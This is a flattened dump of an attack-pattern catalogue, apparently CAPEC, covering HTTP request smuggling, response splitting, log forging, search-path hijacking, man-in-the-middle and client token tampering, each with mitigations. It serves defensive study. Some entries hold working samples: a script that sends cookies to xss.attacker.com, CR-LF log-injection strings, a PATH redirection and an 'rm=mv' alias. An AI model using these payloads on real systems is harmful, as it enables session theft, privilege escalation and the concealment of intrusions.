Implementation: Session tokens for specific host
Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.
Implementation: Privileges are constrained, if a script is loaded, ensure system runs in chroot jail or other limited authority mode
Information LeakageRun Arbitrary Code
“Attack Pattern: HTTP Query Strings
A query string takes variable = value pairs. These are passed to the target executable or script designated in the request. A variable can be injected with script. The script is processed and stored in a way that is later visible to a user."
[Hoglund and McGraw 04]
Script delivered through standard web server, such as a web server with user-generated content.
HTTP Request Query String
Client web browser where script is executed
Client web browser may be used to steal session data, passwords, cookies, and other tokens.
79Targeted84Targeted85Targeted20Targeted86TargetedExploitationHighHighLowClient-Servern-TierAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
HTTP Request Smuggling results from the discrepancies in parsing HTTP requests between HTTP entities such as web caching proxies or application firewalls. Entities such as web servers, web caching proxies, application firewalls or simple proxies often parse HTTP requests in slightly different ways. Under specific situations where there are two or more such entities in the path of the HTTP request, a specially crafted request is seen by two attacked entities as two different sets of requests. This allows certain requests to be smuggled through to a second entity without the first one realizing it. For HTTP Request Smuggling to be possible:
1. The two attacked entities must have differences in the way they parse HTTP requests, for example, the Content-Length at which a request is truncated.
2. The attacker sends a specially crafted request that gets parsed a certain way by the first HTTP entity. In most cases, it is this first request that contains data which forms the smuggled request to the second entity.
3. The second entity interprets the data forwarded by the first entity as two separate requests, without the first entity knowing about it.
HTTP Request Smuggling thus allows an attacker to bypass restrictions such as filters and get malicious requests through to the second entity. The smuggled request can target the first entity (as in the case of cache poisoning) or the second one (as in the case of session hijacking or system compromise).
An additional HTTP entity such as an application firewall or a web caching proxy between the attacker and the second entity such as a web serverDifferences in the way the two HTTP entities parse HTTP requestsHighMediumProtocol ManipulationInjectionWhen using Sun Java System Web Proxy Server 3.x or 4.x in conjunction with Sun ONE/iPlanet 6.x, Sun Java System Application Server 7.x or 8.x, it is possible to bypass certain application firewall protections, hijack web sessions, perform Cross Site Scripting or poison the web proxy cache using HTTP Request Smuggling. Differences in the way HTTP requests are parsed by the Proxy Server and the Application Server enable malicious requests to be smuggled through to the Application Server, thereby exposing the Application Server to aforementioned attacks.CVE-2006-6276Apache server 2.0.45 and version before 1.3.34, when used as a proxy, easily lead to web cache poisoning and bypassing of application firewall restrictions because of non-standard HTTP behavior. Although the HTTP/1.1 specification clearly states that a request with both "Content-Length" and a "Transfer-Encoding: chunked" headers is invalid, vulnerable versions of Apache accept such requests and reassemble the ones with "Transfer-Encoding: chunked" header without replacing the existing "Content-Length" header or adding its own. This leads to HTTP Request Smuggling using a request with a chunked body and a header with "Content-Length: 0".CVE-2005-2088High - The attacker has to have detailed knowledge of the HTTP protocol specifics and must also possess exact details on the discrepancies between the two targeted entities in parsing HTTP requests.NoneIf system documentation is available, the attacker can look up the exact versions of the two targeted entities, since different versions of the same system often behave differently. The attacker can also use product-specific documentation to figure out differences in parsing HTTP requests between the two entities.In case where no documentation is available, the attacker needs to reliably fingerprint the targeted entities to discover the nature and version of the entities. Having done this, the attacker then needs to experimentally determine how the two entities differ in parsing requests.Differences in requests processed by the two entities. This requires careful monitoring or a capable log analysis tool.HTTP Request Smuggling is usually targeted at web servers. Therefore, in such cases, careful analysis of the entities must occur during system design prior to deployment. If there are known differences in the way the entities parse HTTP requests, the choice of entities needs consideration.Employing an application firewall can help. However, there are instances of the firewalls being susceptible to HTTP Request Smuggling as well.Run Arbitrary CodePrivilege EscalationData ModificationHTTP Request Smuggling takes place when two inline devices, such as a proxy and a web server interpret HTTP requests differently. For example, there are differences in the way such entities treat requests based on the "Content-Length" HTTP header. Microsoft ISA/2000 uses the last of multiple "Content-Length" headers whereas Tomcat 4.1.24 uses the first such header. HTTP Request Smuggling through to Tomcat is possible since the request to be smuggled can be crafted as body of the larger request that Microsoft ISA/2000 would let through.Tomcat would then use the first header and interpret it as two different requests. Other anomalies that enable HTTP Request Smuggling include premature termination of requests at specific lengths, GET requests with Content-Length header or differences in interpreting reqeuests containing certain CR-LF and space sequences.HTTP requests that are interpreted and parsed differently by the targeted entities.HTTP request to be smuggled through the first entity to the second one.The application server behind another HTTP entityThe impact of activation is that a particular request that was not supposed to pass through the first entity is received by the second entity who responds to it. This can defeat protection against malware or lead to Cross-Site Scripting444Targeted436SecondarySystem integration testing must include security checks to protect against Multiple Interpretation Errors across systems.Economy of MechanismSecuring the Weakest LinkCarefully Study Other Systems Before Incorporating Them into Your SystemDesign Configuration Subsystems Correctly and Distribute Safe Default ConfigurationsPenetrationMediumMediumLowClient-Servern-TierAllAllAllCWE - HTTP Request SmugglingCWE - Multiple Interpretation Error
This attack uses a maliciously-crafted HTTP request in order to cause a vulnerable web server to respond with an HTTP response stream that will be interpreted by the client as two separate responses instead of one. This is possible when user-controlled input is used unvalidated as part of the response headers. The target software, the client, will interpret the injected header as being a response to a second request, thereby causing the maliciously-crafted contents be displayed and possibly cached.
To achieve HTTP Response Splitting on a vulnerable web server, the attacker:
1. Identifies the user-controllable input that causes arbitrary HTTP header injection.
2. Crafts a malicious input consisting of data to terminate the original response and start a second response with headers controlled by the attacker.
3. Causes the victim to send two requests to the server. The first request consists of maliciously crafted input to be used as part of HTTP response headers and the second is a dummy request so that the victim interprets the split response as belonging to the second request.
User-controlled input used as part of HTTP headerAbility of attacker to inject custom strings in HTTP headerInsufficient input validation in application to check for input sanity before using it as part of response headerHighMediumInjectionProtocol ManipulationIn the PHP 5 session extension mechanism, a user-supplied session ID is sent back to the user within the Set-Cookie HTTP header. Since the contents of the user-supplied session ID are not validated, it is possible to inject arbitrary HTTP headers into the response body. This immediately enables HTTP Response Splitting by simply terminating the HTTP response header from within the session ID used in the Set-Cookie directive.CVE-2006-0207High - The attacker needs to have a solid understanding of the HTTP protocol and HTTP headers and must be able to craft and inject requests to elicit the split responses.NoneWith available source code, the attacker can see whether user input is validated or not before being used as part of output. This can also be achieved with static code analysis toolsIf source code is not available, the attacker can try injecting a CR-LF sequence (usually encoded as %0d%0a in the input) and use a proxy such as Paros to observe the response. If the resulting injection causes an invalid request, the web server may also indicate the protocol error.The only indicators are multiple responses to a single request in the web logs. However, this is difficult to notice in the absence of an application filter proxy or a log analyzer. There are no indicators for the clientTo avoid HTTP Response Splitting, the application must not rely on user-controllable input to form part of its output response stream. Specifically, response splitting occurs due to injection of CR-LF sequences and additional headers. All data arriving from the user and being used as part of HTTP response headers must be subjected to strict validation that performs simple character-based as well as semantic filtering to strip it of malicious character sequences and headers.Run Arbitrary CodePrivilege EscalationHTTP Response Splitting attacks take place where the server script embeds user-controllable data in HTTP response headers. This typically happens when the script embeds such data in the redirection URL of a redirection response (HTTP status code 3xx), or when the script embeds usuch data in a cookie value or name when the response sets a cookie. In the first case, the redirection URL is part of the Location HTTP response header, and in the cookie setting, the cookie name/value pair is part of the Set-
Cookie HTTP response header.User-controllable input that forms part of output HTTP response headersEncoded HTTP header and data separated by appropriate CR-LF sequences. The injected data must consist of legitimate and well-formed HTTP headers as well as required script to be included as HTML body.API calls in the application that set output response headers.The impact of payload activation is that two distinct HTTP responses are issued to the target, which interprets the first as response to a supposedly valid request and the second, which causes the actual attack, to be a response to a second dummy request issued by the attacker.113Targeted74Secondary
All client-supplied input must be validated through filtering and all output must be properly escaped.
Reluctance to TrustNever trust user-supplied input.PenetrationHighHighLowClient-Servern-TierAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE - HTTP Response SplittingCWE - Injection
An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/)
http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process.
The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality.
< security-constraint>
<description>
Security processing rules for admin screens</description>
<url-pattern>/admin/*</url-pattern>
<http-method>POST</http-method>
<http-method>GET</http-method>
<auth-constraint>
<role-name>administrator</role-name>
<role-name>public</role-name>
</auth-constraint>
</security-constraint>
The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
The attacker must have the ability to modify nonexecutable files consumed by the target software.
Very HighHighInjectionAPI AbuseModification of Resources
Virtually any system that relies on configuration files for runtime behavior is open to this attack vector. The configuration files are frequently stored in predictable locations, so an attacker that can fingerpint a server process such as a web server or database server can quickly identify the likely locale where the configuration is stored. And this is of course not limited to server processes. Unix shells rely on profile files to store environment variables, search paths for programs and so on. If the aliases are changed, then a standard Unix "cp" command can be rerouted to "rm" or other standard command so the user's intention is subverted.
Low → to identify and execute against an overprivileged system interface
Ability to communicate synchronously or asynchronously with server that publishes an overprivileged directory, program, or itnerface. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.
Design: Enforce principle of least privilege
Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands.
Implementation: Perform testing such as pentesting and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables.
Implementation: Implement host integrity monitoring to detect any unwanted altering of configuration files.
Implementation: Ensure that files that are not required to execute, such as configuration files, are not over-privileged, i.e. not allowed to execute.
Run Arbitrary CodeData ModificationPrivilege Escalation
“Attack Pattern: Leverage Executable Code in Nonexecutable Files
Attackers usually need to upload or otherwise inject hostile code into a target processing environment. In some cases, this code does not have to be inside an executable binary. A resource file, for example, may be loaded into a target process space. This resource file may contain graphics or other data and may not have been intended to be executed at all. But, if the attacker can insert some additional code sections into the resource, the process that does the loading may be none the wiser and may just load the new version. An attack can then occur."
[Hoglund and McGraw 04]
Nonexecutable files
Executable code
Client machine and client network
Enables attacker to execute server side code with any commands that the program owner has privileges to.
94Targeted96Targeted95Targeted97Targeted272Secondary59Secondary282Secondary275Secondary264Secondary270Secondary
Microsoft Security Bulletin MS04-028
Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution
23Similar75SimilarExploitationMediumHighLowAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
An attacker searches for and invokes Web Services APIs that the target system designers did not intend to be publicly available. If these APIs fail to authenticate requests the attacker may be able to invoke services and/or gain privileges they are not authorized for.
Discover a web service of interest, by exploring web service registry listings or by connecting on known port or some similar meansAuthenticate to the web service, if required, in order to explore it.Determine the exposed interfaces by querying the registry as well as probably sniffing to expose interfaces that are not explicitly listed.The architecture under attack must publish or otherwise make available services, of some kind, that clients can attach to, either in an unauthenticated fashion, or having obtained an authentication token elsewhere.
The service need not be 'discoverable' but in the event it isn't, must have some way of being discovered by an attacker.
This might include listening on a well-known port. Ultimately, the likelihood of exploit depends on discoverability of the vulnerable service.HighMediumAnalysisAPI AbuseTo an extent, Google services (such as Google Maps) are all well-known
examples. Calling these services, or extending them for one's own (perhaps very different)
purposes is as easy as knowing they exist. Their unencumbered public use, however, is a
purposeful aspect of Google's business model. Most organizations, however, do not have the
same business model. Organizations publishing services usually fall back on thoughts that
Attackers "will not know services exist" and that "even if they did, they wouldn't be
able to access them because they're not on the local LAN." Simple threat modeling
exercises usually uncovers simple attack vectors that can invalidate these assumptions.Low: A number of web service digging tools are available for free that help discover exposed web services and their interfaces. In the event that a web service is not listed, the attacker does not need to know much more in addition to the format of web service messages that he can sniff/monitor for.No special resources are required in order to conduct these attacks. Web service digging tools may be helpful.
Probing techniques should often follow normal means of identifying services. Attackers will simply have to execute code that sends the appropriate interrogating SOAP messages to suspected UDDI services (in web-services scenarios). Attackers will likely want to detect and query the organization's SOA Registry.Probing techniques become more difficult when the service isn't advertised, or doesn't leverage discovery frameworks such as UDDI or the WS-I standard. In these cases, sniffing network traffic may suffice, depending on whether or not discovery occurs over a protected channel.Authenticating both services and their discovery, and protecting that
authentication mechanism simply fixes the bulk of this problem. Protecting the authentication
involves the standard means, including: 1) protecting the channel over which authentication
occurs, 2) preventing the theft, forgery, or prediction of authentication credentials or the
resultant tokens, or 3) subversion of password reset and the like.
Information LeakagePrivilege EscalationThis pattern applies in contexts in which an organization makes services
available, preferrably in a discoverable fashion.
Attackers can leverage web- or SOA-services available to them whether or not
those services are 1) advertised by a directory, 2) themselves respond on well-known
interfaces, or are 3) predictably indexed. Once identified and interfaced with, the Attacker
is free to use the interface for all its spoils. In these cases, the system's designers have
fallen prey to believing security by obscurity will work, or have not thought about a service's
actual availability at all.
Unlike more vanilla client-server interfaces, services usually publish an easy to use interface
in XML (through UDDI) making reverse engineering services for use trivial.
306TargetedAuthenticate every request or message to a serviceDo not rely on lack of discoverability to protect privileged functions within the serviceNever Assuming that Your Secrets Are SafeComplete MediationUse Authorization Mechanisms CorrectlyUse Authentication Mechanisms, Where Appropriate, CorrectlyPenetrationHighMediumLowSOAAllAllAllAn attacker can resort to stealing data embedded in client distributions or client code in order to gain certain information. This information can reveal confidential contents, such as account numbers, or can be used as an intermediate step in a larger attack (such as by stealing keys/credentials).Identify TargetAttacker identifies client components to extract information from. These may be binary executables, class files, shared libraries (e.g., DLLs), or other machine code.Binary file extraction. The attacker extracts binary files from zips, jars, wars, PDFs or other composite formats.env-Local env-Embedded env-ClientServer env-Peer2PeerPackage listing. The attacker uses a package manifest provided with the software installer, or the filesystem itself, to identify component files suitable for attack.env-Local env-Embedded env-ClientServer env-Peer2PeerProprietary or sensitive data is stored in a location ultimately distributed to end users.env-Local env-Embedded env-ClientServer env-Peer2PeerAccess to binary code is not realistic. For example, in a client-server environment, binary code on the server is presumed to be inscrutable to an attacker unless another vulnerability exposes it.env-Web env-ClientServer env-Peer2Peer env-CommProtocolThe attacker identifies one or more files or data in the software to attack.Obfuscation can make the observation and reverse engineering more difficult. It is only capable of delaying an attacker, however, not preventing a sufficiently motivated and resourced one.Apply mining techniquesThe attacker then uses a variety of techniques, such as sniffing, reverse-engineering, and cryptanalysis to extract the information of interest.API Profiling. The attacker monitors the software's use of registry keys or other operating system-provided storage locations that can contain sensitive information.env-Local env-Embedded env-ClientServer env-Peer2PeerExecution in simulator. The attacker physically removes mass storage from the system and explores it using a simulator, external system, or other debugging harness.env-Local env-EmbeddedCryptanalysis. The attacker performs cryptanalysis to identify data in the client component which may be cryptographically significant. (Key material frequently stands out as very high entropy data when compared to other mundane data). Given cryptographically significant data, other analyses are performed (e.g., length, internal structure, etc.) to determine potential algorithms (RSA, ECC, AES, etc.). This process proceeds until the attacker reaches a conclusion about the significance and use of the data. env-Local env-Embedded env-ClientServer env-Peer2PeerCommon decoding methods. The attacker applies methods to decode such encodings and compressions as Base64, unzip, unrar, RLE decoding, gzip decompression and so on.env-AllCommon data typing. The attacker looks for common file signatures for well known file types (JPEG, TIFF, ASN.1, LDIF, etc.). If the signatures match, he attempts decoding in that format.env-AllWell known data types are used and embedded inside the client-accessible code.env-Local env-Embedded env-ClientServer env-Peer2PeerProprietary data encodings are used. Although this incrementally increases the difficulty for an attacker to decode the data, it provides no better protection than well-known data types. Since few software developers are trained in obfuscation and cryptography, most proprietary encodings add little security value.env-Local env-Embedded env-ClientServer env-Peer2PeerThe attacker extracts useful information.The software can contain an update mechanism, key management mechanism, or other means of updating proprietary data. Although this can react to a single breach, it is not an effective continuing solution. Many software manufacturers are lured into a repeated update cycle (c.f., satellite TV providers, iPhone) as hackers break proprietary data protection schemes. Planning to issue corrections is a poor long-term strategy, but it can be an effective stopgap measure until a design-level correction can be made.In order to feasibly execute this class of attacks, some valuable data must be present in client software.Additionally, this information must be unprotected, or protected in a flawed fashion, or through a mechanism that fails to resist reverse engineering, statistical, cryptanalytic, or other attack.Very HighVery HighAnalysisUsing a tool such as 'strings' or similar to pull out text data, perhaps part of a database table, that extends beyond what a particular user's purview should be.An attacker can also use a decompiler to decompile a downloaded Java applet in order to look for information such as hardcoded IP addresses, file paths, passwords or other such contents.Attacker uses a tool such as a browser plug-in to pull cookie or other token information that, from a previous user at the same machine (perhaps a kiosk), allows the attacker to log in as the previous user.
Medium: The attacker must possess knowledge of client code structure as well as ability to reverse-engineer or decompile it or probe it in other ways. This knowledge is specific to the technology and language used for the client distributionThe attacker must possess access to the client machine or code being exploited. Such access, for this set of attacks, will likely be physical. The attacker will make use of reverse engineering technologies, perhaps for data or to extract functionality from the binary. Such tool use may be as simple as "Strings" or a hex editor. Removing functionality may require the use of only a hex editor, or may require aspects of the toolchain used to construct the application: for instance the Adobe Flash development environment. Attacks of this nature do not require network access or undue CPU, memory, or other hardware-based resources.Attackers may confine (and succeeed with) probing as simple as deleting a cache or data file, or less drastically twiddling its bits and then testing the mutation's effect on an executing client.
At the other extreme, attackers capable of reverse engineering client code will have the ability to remove functionality or identify the whereabouts of sensitive data through whitebox analysis, such as review of reverse-engineered code.
Information LeakageData ModificationPrivilege EscalationThis pattern of attacks possesses valid contexts regardless of architectural model, as long as some client side logic or data of interest exists.
Client/server, n-tier and thick clients should all be considered for vulnerability to this pattern. Counter-indications include multicast distribution channels in which servers dispense only public data and no client-side authentication or filtering occurs.
This pattern of attack need not depend on a particular platform, technology stack, or language.
This pattern of attacks possesses no injection vector, in its normal instances, as it affects clients
fundamentally vulnerable to client-side trust issues. One exception to this rule exists: attacks
making use of second-order injection attacks (SQL, XSS, or similar command injection) may 'deliver'
an attack, through an intermediate server or data store, to a peer-client, or another user's use of
the same client. In the case of the second instance (another user's use) this vector seems onerous
but would be necessary in circumstances in which the hosting system protects the application well
but implicitly trusts (potentially malicious) data received from the server (such as may be the
case in kiosks well-protected through physical means).
Client-side software, whether it be a monolithic application, client/server, or n-tier (web-based).
525Targeted312Targeted314Secondary315Secondary318SecondaryNo sensitive or confidential information must be stored in client distributions. This includes content such as passwords or encryption keys. In cases where this is necessary, avoid storing any such information in plaintextAll information arriving from a client must be validated before use.Reluctance to TrustNever Assuming that Your Secrets Are SafeNever Use Unvalidated Input as Part of a Directive to any Internal ComponentTreat the Entire Inherited Process Context as Unvalidated InputUse Well-Known Cryptography Appropriately and CorrectlyReconnaissanceExploitationHighMediumLowAllAllAllAllThis attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing him to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accoutability, non-repudiation and incident forensics capability.Determine Application's Log File FormatThe first step is exploratory meaning the attacker observes the system. The attacker looks for action and data that are likely to be logged. The attacker may be familiar with the log format of the system.Determine logging utility being used by application (e.g. log4j)env-AllGain access to application's source code to determine log file formats.env-AllInstall or obtain access to instance of application and observe its log file format.env-AllAttacker determines log file format used by application.Attacker cannot conclusively determine log file format; he/she can only guess what the format is.Manipulate Log FilesThe attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted input that the target software will write to the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.Use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example: "%0D%0A[Thu%20Nov%2012%2011:22]:Info:%20User%20admin%20logged%20in" may add the following forged entry into a log file: "[Thu Nov 12 12:11:22]:Info: User admin logged in". Different applications may require different encodings of the carriage return and line feed characters.env-AllInsert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain <script>new Image().src="http://xss.attacker.com/log_cookie?cookie="+encodeURI(document.cookie);</script>. The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page).env-AllForged entry or other malicious data inserted into application's logs.No entry inserted into logs, or the entry is visibly distinguishable from real entries.Input validation to ensure that only legal characters supplied by users can be entered into log filesEncode information from user such that any unexpected characters are encoded safely before they are entered into log files.Post-processing of log files to remove or encode dangerous characters before displaying to a user may help in some cases. It will not help remove fake log entries entered using carriage return and line feed characters, however.The target host is logging the action and data of the user.The target host insufficiently protects acces to the logs or loggin mechanisms.HighHighAnalysisModification of ResourcesInjectionDave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP Toolkit) 0.50, and possibly earlier versions, allows remote attackers to enter false payment entries into the log file via HTTP POST requests to ipn_success.php.CVE-2006-0201If a user submits the string "twenty-one" for val, the following entry is logged: INFO: Failed to parse val=twenty-one However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged: INFO: Failed to parse val=twenty-one INFO: User logged out=badguy Clearly, attackers can use this same mechanism to insert arbitrary log entries. (Source: CWE Log forging)Low/Medium:
Low: This attack can be as simple as adding extra characters to the logged data (e.g. unsername). Adding entries is typically easier than removing entries.
Medium: A more sophisticated attack can try to defeat the input validation mechanism.The attacker will try to determine which data may be logged in case of a success or failure of a predetermined action such as authentication. Once that data has been identified, the attacker may try to craft malicious data to inject.Vulnerability testing tool can be used to test the input validation mechanism.Carefully control access to physical log files.Do not allow tainted data to be written in the log file without prior input validation. Whitelisting may be used to properly validate the data.Use synchronization to control the flow of execution.Use static analysis tools to identify log forging vulnerabilities.Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells.Data ModificationThe variable being loggedThe malicious characters or the crafted data which should forge the log entry.The logging mechanism (This can be as simple as writing to a file, logging API, etc.)Log tampering or forgery (misleading data)117Targeted92Secondary150SecondaryReluctance to TrustObfuscationMediumHighHighAllAllAllAllJ. Viega and G. McGraw. Building Secure Software. Addison-Wesley, 2002.CWE – Log ForgingA. Muffet. The night the log was forged. http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm.Secure Software - Log Injection : http://www.owasp.org/index.php/Log_injectionSamate test case on Log Forging : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&tID=1579
This attack loads a malicious resource into a program's standard path used to bootstrap and/or provide contextual information for a program like a path variable or classpath. J2EE applications and other component based applications that are built from mutliple binaries can have very long list of dependencies to execute. If one of these libraries and/or references is controllable by the attacker then application controls can be circumvented by the attacker.
A standard UNIX path looks similar to this
/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin
If the attacker modifies the path variable to point to a locale that includes malicious resources then the user unwittingly can execute commands on the attacker's behalf:
/evildir/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin
This is a form of usurping control of the program and the attack can be done on the classpath, database resources, or any other resources built from compound parts. At runtime detection and blocking of this attack is nearly impossible, because the configuration allows execution.
The attacker must be able to write to redirect search paths on the victim host.
Very HighHighModification of Resources
This attack can be accomplished in two ways. An attacker can insert a malicious program into the path or classpath so that when a known command is executed then the system instead executes the trojans. Another method is to redirect commands by aliasing one legitimate command to another to create unexpected results. the Unix command "rm" could be aliased to "mv" and move all files the victim thinks they are deleting to a directory the attacker controls. In a Unix shell .profile setting
alias rm=mv /usr/home/attacker
In this case the attacker retains a copy of all the files the victim attempts to remove.
Low → to identify and execute against an overprivileged system interface
Design: Enforce principle of least privilege
Design: Ensure that the program's compound parts, including all system dependencies, classpath, path, and so on, are secured to the same or higher level assurance as the program
Implementation: Host integrity monitoring
Run Arbitrary CodePrivilege Escalation
“Attack Pattern: Make Use of Configuration File Search Paths
If you place a copy of the configuration file into a previously empty location, the target program may find your version first and forgo any further searching. Most programs are not aware of security, so no check will be made against the owner of the file. The UNIX environment variable for PATH will sometimes specify that a program should look in multiple directories for a given file. Check these directories to determine whether you can sneak a Trojan file into the target."
[Hoglund and McGraw 04]
426Targeted427Targeted428Secondary13More DetailedExploitationMediumMediumMediumAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
This type of attack targets the communication between two components (typically client and server). The attacker places himself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never intercepted. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakeage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components.The attacker probes to determine the nature and mechanism of communication between two components looking for opportunities to exploit.The attacker inserts himself into the communication channel initially acting as a routing proxy between the two targeted components. The attacker may or may not have to use cryptography. The attacker observes, filters or alters passed data of its choosing to gain access to sensitive information or to manipulate the actions of the two target components for his own purposes.There are two components communicating with each other.An attacker is able to identify the nature and mechanism of communication between the two target components.An attacker can eavesdrop on the communication between the target components.Strong mutual authentication is not used between the two target components yielding opportunity for attacker interposition.The communication occurs in clear (not encrypted) or with insufficient and spoofable encryption.Very HighVery HighSpoofingAnalysisModification of ResourcesSymantec Scan Engine 5.0.0.24, and possibly other versions before 5.1.0.7, uses the same private DSA key for each installation, which allows remote attackers to conduct man-in-the-middle attacks and decrypt communications.CVE-2006-0231Medium/High: This attack can get sophisticated since the attack may use cryptography.The attacker can try to get the public-keys of the victims.There are free software tool to perform man in the middle attack (packet anlaysis, etc.)Get your Public Key signed by a Certificate AuthorityEncrypt your communication using cryptography (SSL,...)Use Strong mutual authentication to always fully authenticate both ends of any communications channel.Exchange public keys using a secure channelData ModificationPrivilege EscalationInformation LeakageA certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure.The captured or modified data in transitThe new value of the data or the replay of the same data (e.g. credential)The messages exchanged between the two target hosts.Privilege escalation. modification of resource, information leakage, etc.300Targeted290Secondary593Secondary287Targeted294SecondaryComplete MediationExploitationHighHighHighAllAllAllAllCWE – Man-in-the-middle (MITM)M. Bishop. Computer Security: Art and Science. Addison-Wesley, 2003. In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client
or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating
that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.Enumerate information passed to client side
The attacker identifies the parameters used as part of tokens to take business or security decisions
Use WebScarab to reveal hidden fields while browsing.env-WebUse a sniffer to capture packetsenv-ClientServer env-Peer2Peer env-CommProtocolView source of web page to find hidden fieldsenv-WebExamine URL to see if any opaque tokens are in itenv-WebDisassemble or decompile client-side applicationenv-ClientServer env-Peer2PeerUse debugging tools such as File Monitor, Registry Monitor, Debuggers, etc.env-ClientServer env-Peer2PeerOpaque hidden form fields in a web pageenv-WebOpaque session tokens/ticketsenv-Web env-Peer2Peer env-ClientServer env-CommProtocolOpaque protocol fieldsenv-ClientServer env-Peer2Peer env-CommProtocolOpaque Resource Locatorenv-Web env-Peer2Peer env-ClientServer env-CommProtocolAt least one opaque client-side token foundNo opaque client-side tokens foundDetermine protection mechanism for opaque token
The attacker determines the protection mechanism used to protect the confidentiality and integrity of these data tokens. They may may be obfuscated or a full blown encryption may be used.
Look for signs of well-known character encodingsenv-Web env-ClientServer env-Peer2Peer env-CommProtocolLook for cryptographic signaturesenv-Web env-ClientServer env-Peer2Peer env-CommProtocolLook for delimiters or other indicators of structureenv-Web env-ClientServer env-Peer2Peer env-CommProtocolStandard signatures of well-known encodings detectedenv-Web env-ClientServer env-Peer2Peer env-CommProtocolToken or structural block’s length being multiple of well-known block size of a cryptographic algorithmenv-Web env-ClientServer env-Peer2Peer env-CommProtocolClear structural boundaries or delimitersenv-Web env-ClientServer env-Peer2Peer env-CommProtocolFailure outcome in previous stepenv-Web env-ClientServer env-Peer2Peer env-CommProtocolProtection/encoding scheme identifiedNo information about protection/encoding scheme could not be determinedModify parameter/token valuesTrying each parameter in turn, the attacker modifies the valuesModify tokens logicallyenv-Web env-ClientServer env-Peer2Peer env-CommProtocolModify tokens arithmeticallyenv-Web env-ClientServer env-Peer2Peer env-CommProtocolModify tokens bitwiseenv-Web env-ClientServer env-Peer2Peer env-CommProtocolModify structural components of tokensenv-Web env-ClientServer env-Peer2Peer env-CommProtocolModify order of parameters/tokensenv-Web env-ClientServer env-Peer2Peer env-CommProtocolSuccess outcome in first step.env-Web env-ClientServer env-Peer2Peer env-CommProtocolFailure outcome in first stepenv-Web env-ClientServer env-Peer2Peer env-CommProtocolCycle through values for each parameter.Depending on the nature of the application, the attacker now cycles through values of each parameter and observes the effects of this modification in the data returned by the serverUse network-level packet injection tools such as netcatenv-Web env-ClientServer env-Peer2Peer env-CommProtocolUse application-level data modification tools such as Tamper Data, WebScarab, TamperIE, etc.env-WebUse modified client (modified by reverse engineering)env-ClientServer env-Peer2Peer env-CommProtocolUse debugging tools to modify data in clientenv-ClientServer env-Peer2PeerSuccess outcome in first stepenv-Web env-ClientServer env-Peer2Peer env-CommProtocolFailure outcome in first stepenv-Web env-ClientServer env-Peer2Peer env-CommProtocolSubversion of security controls on serverClient token reset by serverDetailed error message describing problem with token, received from serverUnexpected/invalid token/parameter value in application logs on serverReset session upon receipt of unexpected/invalid token/parameter value
An attacker already has some access to the system or can steal the client based data tokens from another user who has access to the system.
